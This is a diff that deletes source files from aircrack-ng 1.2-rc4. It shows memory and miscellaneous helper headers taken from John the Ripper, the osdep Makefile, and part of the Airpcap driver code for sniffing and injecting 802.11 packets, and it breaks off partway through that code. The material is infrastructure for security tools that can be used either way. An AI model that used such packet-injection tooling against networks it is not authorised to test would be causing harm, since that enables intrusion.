- * This program is free software; you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- * GNU General Public License for more details.
- *
- * As a special exception to the GNU General Public License terms,
- * permission is hereby granted to link the code of this program, with or
- * without modification, with any version of the OpenSSL library and/or any
- * version of unRAR, and to distribute such linked combinations.  You must
- * obey the GNU GPL in all respects for all of the code used other than
- * OpenSSL and unRAR.  If you modify this program, you may extend this
- * exception to your version of the program, but you are not obligated to
- * do so.  (In other words, you may release your derived work under pure
- * GNU GPL version 2 or later as published by the FSF.)
- *
- * (This exception from the GNU GPL is not required for the core tree of
- * John the Ripper, but arguably it is required for -jumbo.)
- *
- * 	Relaxed terms for certain components.
- *
- * In addition or alternatively to the license above, many components are
- * available to you under more relaxed terms (most commonly under cut-down
- * BSD license) as specified in the corresponding source files.
- *
- * For more information on John the Ripper licensing please visit:
- *
- * http://www.openwall.com/john/doc/LICENSE.shtml
- *
- * This file is part of John the Ripper password cracker,
- * Copyright (c) 1996-98,2003,2010-2012 by Solar Designer
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted.
- *
- * There's ABSOLUTELY NO WARRANTY, express or implied.
- */
-
-/*
- * Memory allocation routines.
- */
-
-#ifndef _MEMORY_H
-#define _MEMORY_H
-
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-
-#include "arch.h"
-
-#if __AVX512F__
-#define SIMD_COEF_32 16
-#define SIMD_COEF_64 8
-#elif __AVX2__
-#define SIMD_COEF_32 8
-#define SIMD_COEF_64 4
-#elif __SSE2__
-#define SIMD_COEF_32 4
-#define SIMD_COEF_64 2
-#elif __MMX__
-#define SIMD_COEF_32 2
-#define SIMD_COEF_64 1
-#endif
-
-/*
- * Standard alignments for mem_alloc_tiny().
- */
-#define MEM_ALIGN_NONE			1
-#define MEM_ALIGN_WORD			ARCH_SIZE
-/*
- * These are hopefully suitable guesses.  They are right for only a subset of
- * the architectures/CPUs we support, yet our use of them does not require that
- * they be entirely correct.
- */
-#ifdef _MSC_VER
-#define MEM_ALIGN_CACHE			64
-#else
-#define MEM_ALIGN_CACHE			(ARCH_SIZE * 8)
-#endif
-#define MEM_ALIGN_PAGE			0x1000
-
-/*
- * SIMD buffers need to be aligned to register size
- */
-#if SIMD_COEF_32
-#ifdef _MSC_VER
-#define MEM_ALIGN_SIMD			16
-#else
-#define MEM_ALIGN_SIMD			(SIMD_COEF_32 * 4)
-#endif
-#else
-#define MEM_ALIGN_SIMD			(16)
-#endif
-
-/*
- * Block size used by mem_alloc_tiny().
- */
-#define MEM_ALLOC_SIZE			0x10000
-
-/*
- * Use mem_alloc() instead of allocating a new block in mem_alloc_tiny()
- * if more than MEM_ALLOC_MAX_WASTE bytes would be lost.
- * This shouldn't be set too small, or mem_alloc_tiny() will keep calling
- * mem_alloc() for many allocations in a row, which might end up wasting even
- * more memory to malloc() overhead.
- */
-#define MEM_ALLOC_MAX_WASTE		0xff
-
-/*
- * Memory saving level, setting this high enough disables alignments (if the
- * architecture allows).
- */
-extern unsigned int mem_saving_level;
-
-/*
- * Allocates size bytes and returns a pointer to the allocated memory.
- * If an error occurs, the function does not return.
- */
-extern void *mem_alloc_func(size_t size
-#if defined (MEMDBG_ON)
-	, char *file, int line
-#endif
-	);
-/*
- * this version same as mem_alloc, but initialized the memory
- * to NULL bytes, like CALLOC(3) function does
- */
-extern void *mem_calloc_func(size_t count, size_t size
-#if defined (MEMDBG_ON)
-	, char *file, int line
-#endif
-	);
-
-#if defined (MEMDBG_ON)
-#define mem_alloc(a) mem_alloc_func(a,__FILE__,__LINE__)
-#define mem_calloc(a,b) mem_calloc_func(a,b,__FILE__,__LINE__)
-#define mem_alloc_tiny(a,b) mem_alloc_tiny_func(a,b,__FILE__,__LINE__)
-#define mem_calloc_tiny(a,b) mem_calloc_tiny_func(a,b,__FILE__,__LINE__)
-#define mem_alloc_copy(a,b,c) mem_alloc_copy_func(a,b,c,__FILE__,__LINE__)
-#define str_alloc_copy(a) str_alloc_copy_func(a,__FILE__,__LINE__)
-#define mem_alloc_align(a,b) mem_alloc_align_func(a,b,__FILE__,__LINE__)
-#define mem_calloc_align(a,b,c) mem_calloc_align_func(a,b,c,__FILE__,__LINE__)
-#else
-#define mem_alloc(a) mem_alloc_func(a)
-#define mem_calloc(a,b) mem_calloc_func(a,b)
-#define mem_alloc_tiny(a,b) mem_alloc_tiny_func(a,b)
-#define mem_calloc_tiny(a,b) mem_calloc_tiny_func(a,b)
-#define mem_alloc_copy(a,b,c) mem_alloc_copy_func(a,b,c)
-#define str_alloc_copy(a) str_alloc_copy_func(a)
-#define mem_alloc_align(a,b) mem_alloc_align_func(a,b)
-#define mem_calloc_align(a,b,c) mem_calloc_align_func(a,b,c)
-#endif
-
-/* These allow alignment and are wrappers to system-specific functions */
-void *mem_alloc_align_func(size_t size, size_t align
-#if defined (MEMDBG_ON)
-	, char *file, int line
-#endif
-	);
-
-void *mem_calloc_align_func(size_t count, size_t size, size_t align
-#if defined (MEMDBG_ON)
-	, char *file, int line
-#endif
-	);
-
-/*
- * Frees memory allocated with mem_alloc() and sets the pointer to NULL.
- * Does nothing if the pointer is already NULL.
- */
-#undef MEM_FREE
-
-#ifdef _MSC_VER
-#if !defined (MEMDBG_ON)
-#define strdup(a) strdup_MSVC(a)
-char *strdup_MSVC(const char *str);
-#define MEM_FREE(ptr) \
-{ \
-	if ((ptr)) { \
-		_aligned_free((ptr)); \
-		(ptr) = NULL; \
-	} \
-}
-#else
-#define MEM_FREE(ptr) \
-{ \
-	if ((ptr)) { \
-		MEMDBG_free(((const void*)ptr),__FILE__,__LINE__); \
-		(ptr) = NULL; \
-	} \
-}
-#endif
-
-#else
-#define MEM_FREE(ptr) \
-{ \
-	if ((ptr)) { \
-		free((ptr)); \
-		(ptr) = NULL; \
-	} \
-}
-#endif
-
-/*
- * Similar to the above function, except the memory can't be freed.
- * This one is used to reduce the overhead.
- */
-extern void *mem_alloc_tiny_func(size_t size, size_t align
-#if defined (MEMDBG_ON)
-	, char *file, int line
-#endif
-	);
-
-/*
- * this version same as mem_alloc_tiny, but initialized the memory
- * to NULL bytes, like CALLOC(3) function does
- */
-extern void *mem_calloc_tiny_func(size_t size, size_t align
-#if defined (MEMDBG_ON)
-	, char *file, int line
-#endif
-	);
-
-/*
- * Uses mem_alloc_tiny() to allocate the memory, and copies src in there.
- */
-extern void *mem_alloc_copy_func(void *src, size_t size, size_t align
-#if defined (MEMDBG_ON)
-	, char *file, int line
-#endif
-	);
-
-/*
- * Similar to the above function, but for ASCIIZ strings.
- */
-extern char *str_alloc_copy_func(char *src
-#if defined (MEMDBG_ON)
-	, char *file, int line
-#endif
-	);
-
-/*
- * This will 'cleanup' the memory allocated by mem_alloc_tiny().  All
- * of that memory was 'blindly' allocated, and not freed up during
- * the run of john.  Now, it is 'cleaned' up.
- */
-extern void cleanup_tiny_memory();
-
-
-void dump_text(void *in, int len);
-void dump_stuff(void *x, unsigned int size);
-void dump_stuff_msg(const void *msg, void *x, unsigned int size);
-void dump_stuff_noeol(void *x, unsigned int size);
-void dump_stuff_msg_sepline(const void *msg, void *x, unsigned int size);
-void dump_stuff_be(void *x, unsigned int size);
-void dump_stuff_be_msg(const void *msg, void *x, unsigned int size);
-void dump_stuff_be_noeol(void *x, unsigned int size);
-void dump_stuff_be_msg_sepline(const void *msg, void *x, unsigned int size);
-
-#if defined (SIMD_COEF_32) || defined(NT_X86_64) || defined (SIMD_PARA_MD5) || defined (SIMD_PARA_MD4) || defined (SIMD_PARA_SHA1)
-void dump_stuff_mmx(void *x, unsigned int size, unsigned int index);
-void dump_stuff_mmx_noeol(void *x, unsigned int size, unsigned int index);
-void dump_stuff_mmx_msg(const void *msg, void *buf, unsigned int size, unsigned int index);
-void dump_stuff_mmx_msg_sepline(const void *msg, void *buf, unsigned int size, unsigned int index);
-// for flat input, we do want to see SHA512 without byte swapping.
-void dump_stuff_mmx64(void *buf, unsigned int size, unsigned int index);
-void dump_stuff_mmx64_msg(const void *msg, void *buf, unsigned int size, unsigned int index);
-void dump_out_mmx(void *x, unsigned int size, unsigned int index);
-void dump_out_mmx_noeol(void *x, unsigned int size, unsigned int index);
-void dump_out_mmx_msg(const void *msg, void *buf, unsigned int size, unsigned int index);
-void dump_out_mmx_msg_sepline(const void *msg, void *buf, unsigned int size, unsigned int index);
-void dump_stuff_shammx(void *x, unsigned int size, unsigned int index);
-void dump_stuff_shammx_msg(const void *msg, void *buf, unsigned int size, unsigned int index);
-void dump_out_shammx(void *x, unsigned int size, unsigned int index);
-void dump_out_shammx_msg(const void *msg, void *buf, unsigned int size, unsigned int index);
-void dump_stuff_shammx64(void *x, unsigned int size, unsigned int index);
-void dump_stuff_shammx64_msg(const void *msg, void *buf, unsigned int size, unsigned int index);
-void dump_out_shammx64(void *x, unsigned int size, unsigned int index);
-void dump_out_shammx64_msg(const void *msg, void *buf, unsigned int size, unsigned int index);
-#endif
-
-#if defined (SIMD_PARA_MD5)
-// these functions help debug arrays of contigious MD5 prepared PARA buffers. Seen in sunmd5 at the current time.
-void dump_stuff_mpara_mmx(void *x, unsigned int size, unsigned int index);
-void dump_stuff_mpara_mmx_noeol(void *x, unsigned int size, unsigned int index);
-void dump_stuff_mpara_mmx_msg(const void *msg, void *buf, unsigned int size, unsigned int index);
-void dump_stuff_mpara_mmx_msg_sepline(const void *msg, void *buf, unsigned int size, unsigned int index);
-// a 'getter' to help debugging.  Returns a flat buffer, vs printing it out.
-void getbuf_stuff_mpara_mmx(unsigned char *oBuf, void *buf, unsigned int size, unsigned int index);
-#endif
-
-/*
- * here, a stack buffer that is at least align-1 bytes LARGER than required, can be
- * properly aligned to 'align' bytes. So:   char tmpbuf[256+15], *aligned_buf=mem_align(tmpbuf,16);
- * will give you a stack buffer, aligned to 16 bytes.  There are bugs in some compilers which cause
- * JTR_ALIGN(x) to fail properly (such as a bug in bitcoin OMP mode for linux32)
- * Switched to a define macro for performance.
- */
-#define mem_align(a,b) (void*)(((char*)(a))+(((b)-1)-(((size_t)((char*)(a))-1)&((b)-1))))
-
-
-/*
- * 32-bit endian-swap a memory buffer in place. Size is in octets (so should
- * be a multiple of 4). From now on, this function may be used on any arch.
- */
-void alter_endianity(void * x, unsigned int size);
-
-/* 32-bit endian-swap a memory buffer in place. Count is in 32-bit words */
-void alter_endianity_w(void *x, unsigned int count);
-
-/* 64-bit endian-swap a memory buffer in place. Count is in 64-bit words */
-void alter_endianity_w64(void *x, unsigned int count);
-
-#if ARCH_ALLOWS_UNALIGNED
-// we can inline these, to always use JOHNSWAP/JOHNSWAP64
-// NOTE, more portable to use #defines to inline, than the MAYBE_INLINE within header files.
-#if (ARCH_LITTLE_ENDIAN==0)
-#define alter_endianity_to_BE(a,b)
-#define alter_endianity_to_BE64(a,b)
-#define alter_endianity_to_LE(ptr,word32_cnt) do{ \
-    int i; \
-    for (i=0;i<word32_cnt; i++) \
-        ((ARCH_WORD_32*)ptr)[i] = JOHNSWAP(((ARCH_WORD_32*)ptr)[i]); \
-}while(0)
-#define alter_endianity_to_LE64(ptr,word64_cnt) do{ \
-    int i; \
-    for (i=0;i<word64_cnt; i++) \
-        ((ARCH_WORD_64*)ptr)[i] = JOHNSWAP64(((ARCH_WORD_64*)ptr)[i]); \
-}while(0)
-#else
-#define alter_endianity_to_LE(a,b)
-#define alter_endianity_to_LE64(a,b)
-#define alter_endianity_to_BE(ptr,word32_cnt) do{ \
-    int i; \
-    for (i=0;i<word32_cnt; i++) \
-        ((ARCH_WORD_32*)ptr)[i] = JOHNSWAP(((ARCH_WORD_32*)ptr)[i]); \
-}while(0)
-#define alter_endianity_to_BE64(ptr,word64_cnt) do{ \
-    int i; \
-    for (i=0;i<word64_cnt; i++) \
-        ((ARCH_WORD_64*)ptr)[i] = JOHNSWAP64(((ARCH_WORD_64*)ptr)[i]); \
-}while(0)
-#endif
-#else
-#if (ARCH_LITTLE_ENDIAN==0)
-#define alter_endianity_to_BE(a,b)
-#define alter_endianity_to_LE(a,b) do{alter_endianity_w(a,b);}while(0)
-#define alter_endianity_to_BE64(a,b)
-#define alter_endianity_to_LE64(a,b) do{alter_endianity_w64(a,b);}while(0)
-#else
-#define alter_endianity_to_BE(a,b) do{alter_endianity_w(a,b);}while(0)
-#define alter_endianity_to_LE(a,b)
-#define alter_endianity_to_BE64(a,b) do{alter_endianity_w64(a,b);}while(0)
-#define alter_endianity_to_LE64(a,b)
-#endif
-#endif
-
-#endif

aircrack-ng-1.2-rc4.tar.gz/src/misc.h Deleted

@@ -1,205 +0,0 @@
-/*
- * Based on John the Ripper and modified to integrate with aircrack
- *
- * 	John the Ripper copyright and license.
- *
- * John the Ripper password cracker,
- * Copyright (c) 1996-2013 by Solar Designer.
- *
- * This program is free software; you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- * GNU General Public License for more details.
- *
- * As a special exception to the GNU General Public License terms,
- * permission is hereby granted to link the code of this program, with or
- * without modification, with any version of the OpenSSL library and/or any
- * version of unRAR, and to distribute such linked combinations.  You must
- * obey the GNU GPL in all respects for all of the code used other than
- * OpenSSL and unRAR.  If you modify this program, you may extend this
- * exception to your version of the program, but you are not obligated to
- * do so.  (In other words, you may release your derived work under pure
- * GNU GPL version 2 or later as published by the FSF.)
- *
- * (This exception from the GNU GPL is not required for the core tree of
- * John the Ripper, but arguably it is required for -jumbo.)
- *
- * 	Relaxed terms for certain components.
- *
- * In addition or alternatively to the license above, many components are
- * available to you under more relaxed terms (most commonly under cut-down
- * BSD license) as specified in the corresponding source files.
- *
- * For more information on John the Ripper licensing please visit:
- *
- * http://www.openwall.com/john/doc/LICENSE.shtml
- *
- * This file is part of John the Ripper password cracker,
- * Copyright (c) 1996-99,2003 by Solar Designer
- *
- * ...with changes in the jumbo patch, by JimF and magnum.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted.
- *
- * There's ABSOLUTELY NO WARRANTY, express or implied.
- */
-
-/*
- * Miscellaneous routines.
- */
-
-#ifndef _MISC_H
-#define _MISC_H
-
-#include <stdio.h>
-
-#if (__MINGW32__ && !__MINGW64__) || _MSC_VER
-// Later versions of MSVC can handle %lld but some older
-// ones can only handle %I64d.  Easiest to simply use
-// %I64d then all versions of MSVC will handle it just fine
-#define LLu "%I64u"
-#define LLd "%I64d"
-#define LLx "%I64x"
-#define Zu  "%u"
-#define Zd  "%d"
-#else
-#define LLu "%llu"
-#define LLd "%lld"
-#define LLx "%llx"
-#define Zu  "%zu"
-#define Zd  "%zd"
-#endif
-
-#if !AC_BUILT
-# include <string.h>
-# ifndef _MSC_VER
-#  include <strings.h>
-# endif
-#else
-# include "autoconfig.h"
-# if STRING_WITH_STRINGS
-#  include <string.h>
-#  include <strings.h>
-# elif HAVE_STRING_H
-#  include <string.h>
-# elif HAVE_STRINGS_H
-#  include <strings.h>
-# endif
-#endif
-
-/*
- * Exit on error. Logs the event, closes john.pot and the log file, and
- * terminates the process with non-zero exit status.
- */
-extern void real_error(char *file, int line)
-#ifdef __GNUC__
-	__attribute__ ((__noreturn__));
-#else
-	;
-#endif
-
-#define error(...) real_error(__FILE__, __LINE__)
-
-/*
- * Exit on error with message.  Will call real_error to do
- * the final exiting, after printing error message.
- */
-extern void real_error_msg(char *file, int line, char *format, ...)
-#ifdef __GNUC__
-	__attribute__ ((__noreturn__))
-	__attribute__ ((format (printf, 3, 4)));
-#else
-	;
-#endif
-
-#define error_msg(...) perror(__VA_ARGS__)
-
-/*
- * Similar to perror(), but supports formatted output, and calls error().
- */
-extern void real_pexit(char *file, int line, char *format, ...)
-#ifdef __GNUC__
-	__attribute__ ((__noreturn__))
-	__attribute__ ((format (printf, 3, 4)));
-#else
-	;
-#endif
-
-#define pexit(...) \
-{ \
-	perror(__VA_ARGS__); \
-	clean_exit(FAILURE); \
-}
-
-/*
- * Attempts to write all the supplied data. Returns the number of bytes
- * written, or -1 on error.
- */
-extern int write_loop(int fd, const char *buffer, int count);
-
-/*
- * Similar to fgets(), but doesn't leave the newline character in the buffer,
- * and skips to the end of long lines. Handles both Unix and DOS style text
- * files correctly.
- */
-extern char *fgetl(char *s, int size, FILE *stream);
-
-/*
- * Similar to strncpy(), but terminates with only one NUL if there's room
- * instead of padding to the supplied size like strncpy() does.
- */
-extern char *strnfcpy(char *dst, const char *src, int size);
-
-/*
- * Similar to the above, but always NUL terminates the string.
- */
-extern char *strnzcpy(char *dst, const char *src, int size);
-
-/*
- * Similar to the strnzcpy, but returns the length of the string.
- */
-extern int strnzcpyn(char *dst, const char *src, int size);
-
-/*
- * Similar to strncat(), but total buffer size is supplied, and always NUL
- * terminates the string.
- */
-extern char *strnzcat(char *dst, const char *src, int size);
-
-/*
- * Similar to atoi(), but properly handles unsigned int.  Do not use
- * atoi() for unsigned data if the data can EVER be over MAX_INT.
- */
-extern unsigned atou(const char *src);
-
-/*
- * Similar to strtok(), but properly handles adjacent delmiters as
- * empty strings.  strtok() in the CRTL merges adjacent delimiters
- * and sort of 'skips' them. This one also returns 'empty' tokens
- * for any leading or trailing delims. strtok() strips those off
- * also.
- */
-char *strtokm(char *s1, const char *delimit);
-
-#ifndef __has_feature
-# define __has_feature(x) 0
-#endif
-
-#if /* is ASAN enabled? */ \
-    __has_feature(address_sanitizer) /* Clang */ || \
-    defined(__SANITIZE_ADDRESS__)  /* GCC 4.8.x */
-  #define ATTRIBUTE_NO_ADDRESS_SAFETY_ANALYSIS \
-        __attribute__((no_address_safety_analysis)) \
-        __attribute__((noinline))
-  #define WITH_ASAN
-#else
-  #define ATTRIBUTE_NO_ADDRESS_SAFETY_ANALYSIS
-#endif
-
-#endif

aircrack-ng-1.2-rc4.tar.gz/src/osdep Deleted

aircrack-ng-1.2-rc4.tar.gz/src/osdep/Makefile Deleted

@@ -1,92 +0,0 @@
-AC_ROOT	= ../..
-include $(AC_ROOT)/common.mak
-
-RTAP		= radiotap
-
-LIB		= libosdep.a 
-CFLAGS		+= $(PIC) -I.. $(LIBAIRPCAP)
-
-OBJS_COMMON	= network.o file.o
-OBJS		= osdep.o $(OBJS_COMMON)
-
-#AIRPCAP_DIR	= airpcap
-OBJS_APCAP	= airpcap.o
-
-OBJS_OBSD	= $(OBJS) openbsd.o openbsd_tap.o
-OBJS_NBSD	= $(OBJS) netbsd.o netbsd_tap.o
-OBJS_FBSD	= $(OBJS) freebsd.o freebsd_tap.o
-OBJS_LINUX	= $(OBJS) linux.o linux_tap.o radiotap/radiotap.o common.o
-OBJS_DUMMY	= $(OBJS) dummy.o dummy_tap.o
-OBJS_CYGWIN	= $(OBJS) cygwin.o cygwin_tap.o radiotap/radiotap.o
-OBJS_DARWIN = $(OBJS) darwin.o darwin_tap.o radiotap/radiotap.o
-
-# XXX make it a DLL, without polluting cygwin.c
-ifeq ($(subst TRUE,true,$(filter TRUE true,$(airpcap) $(AIRPCAP))),true)
-	OBJS_CYGWIN    += $(OBJS_APCAP)
-	DOPCAP		= $(AR) x $(AC_ROOT)/../developers/Airpcap_Devpack/lib/libairpcap.a
-else
-	DOPCAP		=
-endif
-
-all:
-	@echo Building for $(OSNAME)
-	@$(MAKE) .os.$(OSNAME)
-
-.os.dummy: $(OBJS_DUMMY)
-	$(AR) cru $(LIB) $(OBJS_DUMMY)
-	$(RANLIB) $(LIB)
-	touch $(@)
-
-.os.DragonFly: $(OBJS_FBSD)
-	$(AR) cru $(LIB) $(OBJS_FBSD)
-	$(RANLIB) $(LIB)
-	touch $(@)
-
-.os.FreeBSD: $(OBJS_FBSD)
-	$(AR) cru $(LIB) $(OBJS_FBSD)
-	$(RANLIB) $(LIB)
-	touch $(@)
-
-.os.GNU-kFreeBSD: $(OBJS_FBSD)
-	$(AR) cru $(LIB) $(OBJS_FBSD)
-	$(RANLIB) $(LIB)
-	touch $(@)
-
-.os.OpenBSD: $(OBJS_OBSD)
-	$(AR) cru $(LIB) $(OBJS_OBSD)
-	$(RANLIB) $(LIB)
-	touch $(@)
-
-.os.NetBSD: $(OBJS_NBSD)
-	$(AR) cru $(LIB) $(OBJS_NBSD)
-	$(RANLIB) $(LIB)
-	touch $(@)
-
-.os.Linux: $(OBJS_LINUX)
-	$(AR) cru $(LIB) $(OBJS_LINUX)
-	$(RANLIB) $(LIB)
-	touch $(@)
-
-.os.cygwin: $(OBJS_CYGWIN) 
-	$(DOPCAP)
-	$(AR) cru $(LIB) *.o radiotap/radiotap.o
-	$(RANLIB) $(LIB) 
-	touch $(@)
-
-.os.Darwin: $(OBJS_DARWIN) 
-	$(DOPCAP)
-	$(AR) cru $(LIB) $(OBJS_DARWIN)
-	$(RANLIB) $(LIB) 
-	touch $(@)
-
-.os.%: .os.dummy
-	@echo "Your platform is unsupported by osdep, dummy code compiled."
-	touch $(@)
-
-install: all
-
-uninstall:
-
-clean: 
-	$(MAKE) -C $(RTAP) clean
-	rm -f $(LIB) *.o .os.*

aircrack-ng-1.2-rc4.tar.gz/src/osdep/airpcap.c Deleted

@@ -1,389 +0,0 @@
-  /*
-   *  Copyright (c) 2007-2016 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
-   *
-   *  Airpcap stuff
-   *
-   *  This program is free software; you can redistribute it and/or modify
-   *  it under the terms of the GNU General Public License as published by
-   *  the Free Software Foundation; either version 2 of the License, or
-   *  (at your option) any later version.
-   *
-   *  This program is distributed in the hope that it will be useful,
-   *  but WITHOUT ANY WARRANTY; without even the implied warranty of
-   *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-   *  GNU General Public License for more details.
-   *
-   *  You should have received a copy of the GNU General Public License
-   *  along with this program; if not, write to the Free Software
-   *
-   * In addition, as a special exception, the copyright holders give
-   * permission to link the code of portions of this program with the
-   * OpenSSL library under certain conditions as described in each
-   * individual source file, and distribute linked combinations
-   * including the two.
-   * You must obey the GNU General Public License in all respects
-   * for all of the code used other than OpenSSL.  If you modify
-   * file(s) with this exception, you may extend this exception to your
-   * version of the file(s), but you are not obligated to do so.  If you
-   * do not wish to do so, delete this exception statement from your
-   * version.  If you delete this exception statement from all source
-   * files in the program, then also delete it here.
-   *  Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-   */
-#ifdef HAVE_AIRPCAP
-
-#include <string.h>
-#include <stdlib.h>
-#include <stdio.h>
-#include <ctype.h>
-#include <windows.h>
-#include <airpcap.h>
-
-#include "osdep.h"
-
-//------------------ PPI ---------------------
-#define PPH_PH_VERSION		((u_int8_t)0x00)
-#define	PPI_FIELD_TYPE_802_11_COMMON		((u_int16_t)0x02)
-
-typedef struct _PPI_PACKET_HEADER
-{
-	u_int8_t	PphVersion;
-	u_int8_t	PphFlags;
-	u_int16_t	PphLength;
-	u_int32_t	PphDlt;
-}
-PPI_PACKET_HEADER, *PPPI_PACKET_HEADER;
-
-typedef struct _PPI_FIELD_HEADER
-{
-	u_int16_t PfhType;
-	u_int16_t PfhLength;
-}
-PPI_FIELD_HEADER, *PPPI_FIELD_HEADER;
-
-typedef struct _PPI_FIELD_802_11_COMMON
-{
-	u_int64_t	TsfTimer;
-	u_int16_t	Flags;
-	u_int16_t	Rate;
-	u_int16_t	ChannelFrequency;
-	u_int16_t	ChannelFlags;
-	u_int8_t	FhssHopset;
-	u_int8_t	FhssPattern;
-	int8_t		DbmAntSignal;
-	int8_t		DbmAntNoise;
-}
-PPI_FIELD_802_11_COMMON, *PPPI_FIELD_802_11_COMMON;
-
-
-#define DEVICE_PREFIX "\\\\.\\"
-#define DEVICE_COMMON_PART "airpcap"
-
-PAirpcapHandle airpcap_handle;
-
-/**
- * Check if the device is an Airpcap device
- * @param iface Interface name
- * @return 1 if it is an Airpcap device, 0 if not
- */
-int isAirpcapDevice(const char * iface)
-{
-	char * pos;
-	int len;
-
-	pos = strstr(iface, DEVICE_COMMON_PART);
-
-	// Check if it contains "airpcap"
-	if (! pos)
-		return 0;
-
-	if (pos != iface)
-	{
-		// Check if it begins with '\\.\'
-		if (strstr(iface, AIRPCAP_DEVICE_NAME_PREFIX) != iface)
-			return 0;
-	}
-
-	len = strlen(iface);
-
-	// Checking that it contains 2 figures at the end.
-	// No need to check for length, it was already done by the first check
-	if (! (isdigit((int)iface[len - 1])) || !(isdigit((int)iface[len - 2])))
-		return 0;
-
-	return 1;
-}
-
-/**
- * Parse information from a PPI packet (will be used later).
- * @param p packet
- * @param caplen Length of the packet
- * @param hdrlen Length of the header
- * @param power pointer that will contains the power of the packet
- * @return 0 if successful decoding, 1 if it failed to decode
- */
-int ppi_decode(const u_char *p, int caplen, int *hdrlen, int *power)
-{
-	PPPI_PACKET_HEADER pPpiPacketHeader;
-	PPPI_FIELD_HEADER	pFieldHeader;
-	ULONG position = 0;
-
-	// Sanity checks
-	if (caplen < (int)sizeof(*pPpiPacketHeader))
-	{
-		// Packet smaller than the PPI fixed header
-		return( 1 );
-	}
-
-	pPpiPacketHeader = (PPPI_PACKET_HEADER)p;
-
-	*hdrlen = pPpiPacketHeader->PphLength;
-
-	if(caplen < *hdrlen)
-	{
-		// Packet smaller than the PPI fixed header
-		return( 1 );
-	}
-
-	position = sizeof(*pPpiPacketHeader);
-
-	if (pPpiPacketHeader->PphVersion != PPH_PH_VERSION)
-	{
-		fprintf( stderr, "Unknown PPI packet header version (%u)\n", pPpiPacketHeader->PphVersion);
-		return( 1 );
-	}
-
-	do
-	{
-		// now we suppose to have an 802.11-Common header
-		if (*hdrlen < (int)(sizeof(*pFieldHeader) + position))
-		{
-			break;
-		}
-
-		pFieldHeader = (PPPI_FIELD_HEADER)(p + position);
-		position += sizeof(*pFieldHeader);
-
-		switch(pFieldHeader->PfhType)
-		{
-			case PPI_FIELD_TYPE_802_11_COMMON:
-				if (pFieldHeader->PfhLength != sizeof(PPI_FIELD_802_11_COMMON) || caplen - position < sizeof(PPI_FIELD_802_11_COMMON))
-				{
-					// the header is bogus, just skip it
-					fprintf( stderr, "Bogus 802.11-Common Field. Skipping it.\n");
-				}
-				else
-				{
-					PPPI_FIELD_802_11_COMMON pField = (PPPI_FIELD_802_11_COMMON)(p + position);
-
-					if (pField->DbmAntSignal != -128)
-					{
-						*power = (int)pField->DbmAntSignal;
-					}
-					else
-					{
-						*power = 0;
-					}
-				}
-				break;
-
-			default:
-				// we do not know this field. Just print type and length and skip
-				break;
-		}
-
-		position += pFieldHeader->PfhLength;
-	}
-	while(TRUE);
-
-	return( 0 );
-}
-
-/**
- * Set MAC Address of the device
- * @param mac MAC Address
- * @return 0 (successful)
- */
-int airpcap_set_mac(void *mac)
-{
-   	if (mac) {}
-   	return 0;
-}
-
-/**
- * Close device
- */
-void airpcap_close(void)
-{
-	// By default, when plugged in, the adapter is set in monitor mode;
-	// Application may assume it's already in monitor mode and forget to set it
-	// So, do not remove monitor mode.
-	if (airpcap_handle != NULL)
-	{
-		AirpcapClose(airpcap_handle);
-		airpcap_handle = NULL;
-	}
-}
-
-/**
- * Get MAC Address of the device (not yet implemented)
- * @param mac It will contain the mac address
- * @return 0 (successful)
- */
-int airpcap_get_mac(void *mac)
-{
-   // Don't use the function from Airpcap
-	if (mac) {}
-
-	return 0;
-}
-
-/**
- * Capture one packet
- * @param buf Buffer for the packet
- * @param len Length of the buffer
- * @param ri Receive information
- * @return -1 if failure or the number of bytes received
- */
-int airpcap_sniff(void *buf, int len, struct rx_info *ri)
-{
-	// Use PPI headers to obtain the different information for ri
-	// Use AirpcapConvertFrequencyToChannel() to get channel
-	// Add an option to give frequency instead of channel
-	UINT BytesReceived = 0;
-
-	if (ri) {}
-	// Wait for the next packet
-	// Maybe add an event packets to read
-	// WaitForSingleObject(ReadEvent, INFINITE);
-
-	// Read a packet
-	if(AirpcapRead(airpcap_handle, buf, len, &BytesReceived))
-		return (int)BytesReceived;
-
-	return -1;
-}
-
-/**
- * Inject one packet
- * @param buf Buffer for the packet
- * @param len Length of the buffer
- * @param ti Transmit information
- * @return -1 if failure or the number of bytes sent
- */
-int airpcap_inject(void *buf, int len, struct tx_info *ti)
-{
-	if (ti) {}
-	if (AirpcapWrite (airpcap_handle, buf, len) != 1)
-		return -1;
-
-	return len;
-}
-
-/**
- * Print the error message
- * @param err Contains the error message and a %s in order to show the Airpcap error
- * @param retValue Value returned by the function
- * @return retValue
- */
-int printErrorCloseAndReturn(const char * err, int retValue)
-{
-	if (err && airpcap_handle)
-	{
-		if (strlen(err))
-		{
-			if (airpcap_handle)
-				fprintf( stderr, err, AirpcapGetLastError(airpcap_handle));
-			else
-				fprintf( stderr, err);
-		}
-	}
-
-	airpcap_close();
-
-    return retValue;
-}
-
-/**
- * Initialize the device
- * @param param Parameters for the initialization
- * @return 0 if successful, -1 in case of failure
- */
-int airpcap_init(char *param)
-{
-	// Later: if several interfaces are given, aggregate them.
-
-	char * iface;
-    char errbuf[AIRPCAP_ERRBUF_SIZE ];
-
-	iface = (char *)calloc(1, strlen(param) + 100);
-
-	if (param)
-	{
-		// if it's empty, use the default adapter
-		if (strlen(param) > 0)
-		{
-			if (strstr(param, DEVICE_PREFIX) == NULL)
-			{
-				// Not found, add it
-
-				strcpy(iface, DEVICE_PREFIX);
-				strcat(iface, param);
-			}
-			else
-			{
-				// Already contains the adapter header
-				strcpy(iface, param);
-			}
-		}
-	}
-
